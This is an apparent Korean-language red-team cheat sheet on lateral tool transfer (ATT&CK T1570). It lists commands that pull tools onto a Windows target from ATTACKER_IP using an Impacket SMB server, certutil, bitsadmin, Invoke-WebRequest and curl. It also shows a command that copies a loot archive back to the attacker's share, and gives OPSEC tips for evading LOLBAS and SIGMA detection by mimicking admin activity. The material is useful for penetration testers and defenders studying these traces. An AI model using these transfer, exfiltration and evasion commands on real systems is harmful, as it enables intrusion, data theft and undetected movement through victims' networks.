ATT&CK: T1570 Lateral Tool Transfer · Lateral Movement (TA0008)
호스트 간 파일 전송은 가장 자주 쓰는 pivot 작업. 외부로 나가는 egress가 막혀있어도 내부 SMB는 거의 항상 열려있다 — 그래서 “공격자 호스트에 SMB 서버 띄우고 대상이 built-in 유틸로 받기"가 사실상 표준.
1. 공격자 측 — Impacket SMB 서버
# 공유 이름 'share', 쓰기 허용
impacket-smbserver share /path/to/tools -smb2support
- 기본 포트 445. root가 아니면 1337 등으로 변경:
-port 1337. -smb2support: 요즘 Windows는 SMB1 꺼져있으므로 반드시 켜기.- 접근 제한:
-username guest -password guest.
2. 대상 Windows에서 받기 — built-in 유틸 선택지
2.1 UNC path 직접 접근 (가장 조용)
copy \\ATTACKER_IP\share\tool.exe C:\Users\Public\tool.exe
PowerShell:
Copy-Item \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe
가장 조용한 방식 — 외부 유틸 호출 없이 Windows의 SMB 클라이언트가 처리.
2.2 certutil (LOLBAS)
certutil -urlcache -split -f \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe
-urlcache: 캐시 다운로드.-split -f: 캐시 안 쓰고 강제 저장.- URL 대신 UNC path도 OK.
2.3 bitsadmin (레거시지만 여전히 작동)
bitsadmin /transfer myJob \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe
2.4 PowerShell Invoke-WebRequest (HTTP가 필요하면)
Invoke-WebRequest -Uri http://ATTACKER_IP:8000/tool.exe -OutFile C:\temp\tool.exe
HTTP 서버가 필요하면 공격자 측에서 python3 -m http.server 8000.
3. HTTP 쪽도 챙기기
SMB가 막혀있을 때(점점 더 흔함):
# 공격자 측
python3 -m http.server 8080
# 또는 updog(인증 가능)
pipx install updog
updog -p 8080 --password 'xx'
대상 측:
curl.exe -o C:\temp\tool.exe http://ATTACKER_IP:8080/tool.exe
Windows 10+는 curl.exe가 기본 설치됨.
4. 반대 방향 — 호스트에서 공격자로 (업로드)
4.1 Impacket smbserver는 양방향
# 대상에서 공격자 SMB 공유로
copy C:\loot\data.zip \\ATTACKER_IP\share\
쓰기 권한 설정은 smbserver 실행 시 기본 허용(공격자 측 디렉터리에 쓰기 가능해야 함).
4.2 HTTP 업로드 (updog)
updog는 웹 UI로 업로드 받기 지원.
5. 흔적 비교
| 방법 | 디스크 흔적 | 네트워크 흔적 |
|---|---|---|
| UNC copy | 대상에 파일 생성 | SMB 세션 생성 (Event 5140 등) |
| certutil | 캐시 디렉터리 (-urlcache), 또는 Downloads 레지스트리 |
동일 |
| bitsadmin | BITS 작업 로그 (Microsoft-Windows-Bits-Client/Operational) | HTTP/SMB 트래픽 |
| Invoke-WebRequest | PowerShell 이벤트 로그 (4104) | HTTP/HTTPS |
bitsadmin과 certutil은 LOLBAS 리스트에 올라있어서 SIGMA 룰이 광범위. 가장 조용한 건 사실 PowerShell Copy-Item with UNC path (일상적 관리 명령과 섞여 들어감).
6. OPSEC 요약
- SMB 포트 445는 대부분 내부 ACL이 열려있어 가장 안정적인 전송 채널.
- 외부로 나가는 egress로 쓰려면 TCP 445가 ISP에서 막혀있을 가능성 높음 (대부분 네트워크는 egress 445 차단).
- certutil/bitsadmin은 LOLBAS 룰에 걸릴 확률 높음. 가능하면 “일반 관리자가 하는 패턴"으로 수행.
참고
- Impacket smbserver
- LOLBAS Project
- MITRE ATT&CK — T1570